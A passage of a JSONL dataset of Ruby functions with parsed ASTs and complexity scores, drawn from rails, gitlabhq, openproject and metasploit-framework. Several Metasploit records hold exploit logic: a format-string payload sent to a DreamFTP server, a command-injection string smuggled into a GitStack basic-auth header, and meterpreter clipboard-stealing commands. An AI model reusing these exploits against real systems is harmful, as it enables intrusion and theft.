\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"str\",\"children\":[\"on\"]},{\"type\":\"str\",\"children\":[\"off\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"History contexts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Id\"]},{\"type\":\"str\",\"children\":[\"File\"]},{\"type\":\"str\",\"children\":[\"Name\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"history_manager\"]},\"_contexts\"]},\"each\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"history_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"rows\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No history contexts present.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"to_s\"]}]}]}]},null]}]}]}","id":"75617716-25a4-4b23-9f13-ce2da4a61f6e"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin/scim_clients_controller.rb","start_line":106,"raw_source":"def scim_client_params\n params.expect(scim_client: %i[name auth_provider_id authentication_method jwt_sub])\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scim_client_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"expect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scim_client\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"auth_provider_id\"]},{\"type\":\"sym\",\"children\":[\"authentication_method\"]},{\"type\":\"sym\",\"children\":[\"jwt_sub\"]}]}]}]}]}]}","id":"0b0b6548-0d1e-42c0-b734-8df222d66805"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/java.rb","start_line":19,"raw_source":"def initialize(info = {})\n super\n\n register_advanced_options(\n [\n OptString.new( 'JavaCache', \t[true, 'Java cache location',\n File.join(Msf::Config.config_directory, \"javacache\")]),\n OptString.new( 'AddClassPath', \t[false, 'Additional java classpath', nil]),\n ], self.class)\n\n begin\n require 'rjb'\n @rjb_loaded = true\n init_jvm\n rescue ::Exception => e\n @rjb_loaded = false\n @jvm_init = false\n @java_error = e\n end\n end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"JavaCache\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Java cache location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"config_directory\"]},{\"type\":\"str\",\"children\":[\"javacache\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"AddClassPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Additional java classpath\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"rjb\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rjb_loaded\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"init_jvm\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rjb_loaded\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@jvm_init\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@java_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}]}]}","id":"74c28bb1-58b1-40b8-bfb8-4a8e6400aeff"} {"repo_name":"rails","file_path":"./repos/rails/actionmailbox/test/generators/mailbox_generator_test.rb","start_line":51,"raw_source":"def test_check_class_collision\n Object.const_set :InboxMailbox, Class.new\n content = capture(:stderr) { run_generator }\n assert_match(/The name 'InboxMailbox' is either already used in your application or reserved/, content)\n ensure\n Object.send :remove_const, :InboxMailbox\n end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_check_class_collision\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"InboxMailbox\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\",{\"type\":\"sym\",\"children\":[\"stderr\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"run_generator\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"The name 'InboxMailbox' is either already used in your application or reserved\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"sym\",\"children\":[\"InboxMailbox\"]}]}]}]}","id":"f817efc6-59c2-49d9-96b6-493b7982c594"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/dreamftp_format.rb","start_line":73,"raw_source":"def exploit\n connect\n select(nil, nil, nil, 0.25)\n sploit = \"\\xeb\\x29\"\n sploit << \"%8x%8x%8x%8x%8x%8x%8x%8x%\" + target['Offset'].to_s + \"d%n%n\"\n sploit << \"@@@@@@@@\" + payload.encoded\n sock.put(sploit + \"\\r\\n\")\n select(nil, nil, nil, 0.25)\n handler\n disconnect\n end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%8x%8x%8x%8x%8x%8x%8x%8x%\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]},\"to_s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"d%n%n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"@@@@@@@@\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.25]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"19b65be1-4ee2-475b-8902-c25a78a9a332"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_ext_test.rb","start_line":163,"raw_source":"def test_middle_of_day\n assert_equal Time.local(2005, 2, 4, 12, 0, 0), Time.local(2005, 2, 4, 10, 10, 10).middle_of_day\n with_env_tz \"US/Eastern\" do\n assert_equal Time.local(2006, 4, 2, 12, 0, 0), Time.local(2006, 4, 2, 10, 10, 10).middle_of_day, \"start DST\"\n assert_equal Time.local(2006, 10, 29, 12, 0, 0), Time.local(2006, 10, 29, 10, 10, 10).middle_of_day, \"ends DST\"\n end\n with_env_tz \"NZ\" do\n assert_equal Time.local(2006, 3, 19, 12, 0, 0), Time.local(2006, 3, 19, 10, 10, 10).middle_of_day, \"ends DST\"\n assert_equal Time.local(2006, 10, 1, 12, 0, 0), Time.local(2006, 10, 1, 10, 10, 10).middle_of_day, \"start DST\"\n end\n end","complexity_score":52.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_middle_of_day\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\",{\"type\":\"str\",\"children\":[\"US/Eastern\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]},{\"type\":\"str\",\"children\":[\"start DST\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]},{\"type\":\"str\",\"children\":[\"ends DST\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\",{\"type\":\"str\",\"children\":[\"NZ\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[19]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[19]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]},{\"type\":\"str\",\"children\":[\"ends DST\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[10]}]},\"middle_of_day\"]},{\"type\":\"str\",\"children\":[\"start DST\"]}]}]}]}]}]}","id":"dc3a860c-11f4-495b-bbfb-ef0cbb0c59f1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_project_repositories.rb","start_line":34,"raw_source":"def create!(name)\n Shard.create!(name: name).tap { |shard| @shards[name] = shard.id }\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shard\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shard\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shards\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shard\"]},\"id\"]}]}]}]}","id":"accd8053-2a3e-421b-a8e1-befc6477d15f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/note.rb","start_line":89,"raw_source":"def edit_comment(text)\n click_element 'note-edit-button'\n fill_editor_element 'reply-field', text\n has_active_element?('reply-comment-button', wait: 0.5)\n click_element 'reply-comment-button'\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"note-edit-button\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_editor_element\",{\"type\":\"str\",\"children\":[\"reply-field\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"has_active_element?\",{\"type\":\"str\",\"children\":[\"reply-comment-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"float\",\"children\":[0.5]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"reply-comment-button\"]}]}]}]}","id":"f4008c0e-d34f-4fc2-a907-a2e8ef428dea"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb","start_line":25,"raw_source":"def commands\n all = {\n 'clipboard_get_data' => \"Read the target's current clipboard (text, files, images)\",\n 'clipboard_set_text' => \"Write text to the target's clipboard\",\n 'clipboard_monitor_start' => 'Start the clipboard monitor',\n 'clipboard_monitor_pause' => 'Pause the active clipboard monitor',\n 'clipboard_monitor_resume' => 'Resume the paused clipboard monitor',\n 'clipboard_monitor_dump' => 'Dump all captured clipboard content',\n 'clipboard_monitor_purge' => 'Delete all captured clipboard content without dumping it',\n 'clipboard_monitor_stop' => 'Stop the clipboard monitor'\n }\n reqs = {\n 'clipboard_get_data' => [COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA],\n 'clipboard_set_text' => [COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA],\n 'clipboard_monitor_start' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START],\n 'clipboard_monitor_pause' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PAUSE],\n 'clipboard_monitor_resume' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME],\n 'clipboard_monitor_dump' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_DUMP],\n 'clipboard_monitor_purge' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PURGE],\n 'clipboard_monitor_stop' => [COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_STOP]\n }\n filter_commands(all, reqs)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_get_data\"]},{\"type\":\"str\",\"children\":[\"Read the target's current clipboard (text, files, images)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_set_text\"]},{\"type\":\"str\",\"children\":[\"Write text to the target's clipboard\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_start\"]},{\"type\":\"str\",\"children\":[\"Start the clipboard monitor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_pause\"]},{\"type\":\"str\",\"children\":[\"Pause the active clipboard monitor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_resume\"]},{\"type\":\"str\",\"children\":[\"Resume the paused clipboard monitor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_dump\"]},{\"type\":\"str\",\"children\":[\"Dump all captured clipboard content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_purge\"]},{\"type\":\"str\",\"children\":[\"Delete all captured clipboard content without dumping it\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_stop\"]},{\"type\":\"str\",\"children\":[\"Stop the clipboard monitor\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reqs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_get_data\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_set_text\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_start\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_pause\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PAUSE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_resume\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_dump\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_DUMP\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_purge\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PURGE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"clipboard_monitor_stop\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_STOP\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"filter_commands\",{\"type\":\"lvar\",\"children\":[\"all\"]},{\"type\":\"lvar\",\"children\":[\"reqs\"]}]}]}]}","id":"1d00564f-9d1a-47c6-bfe0-da46abdbaa06"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kademlia/pong.rb","start_line":24,"raw_source":"def self.from_data(data)\n message = super(data)\n return if message.type != PONG\n return if message.body.size != 2\n Pong.new(message.body.unpack('v')[0])\n end","complexity_score":15.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"type\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"PONG\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"body\"]},\"size\"]},\"!=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pong\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"body\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"v\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"5280561c-649e-4e17-8ecb-c439e0bcf29c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/gitstack_rce.rb","start_line":242,"raw_source":"def run_exploit(repo, user, cmd)\n begin\n res = send_request_cgi({\n 'uri' => '/web/index.php',\n 'method' => 'GET',\n 'authorization' => basic_auth(user, \"#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}\"),\n 'vars_get' => {\n 'p' => \"#{repo}.git\",\n 'a' => 'summary'\n }\n })\n rescue Rex::ConnectionError, Errno::ECONNRESET => e\n print_error(\"Failed: #{e.class} - #{e.message}\")\n end\n end","complexity_score":11.23,"ast_json":"{\"type\":\"def\",\"children\":[\"run_exploit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repo\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/web/index.php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" && cmd /c \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"p\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo\"]}]},{\"type\":\"str\",\"children\":[\".git\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"summary\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNRESET\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}","id":"e2a4b195-6c4c-40de-9978-4b31194ed1ad"} 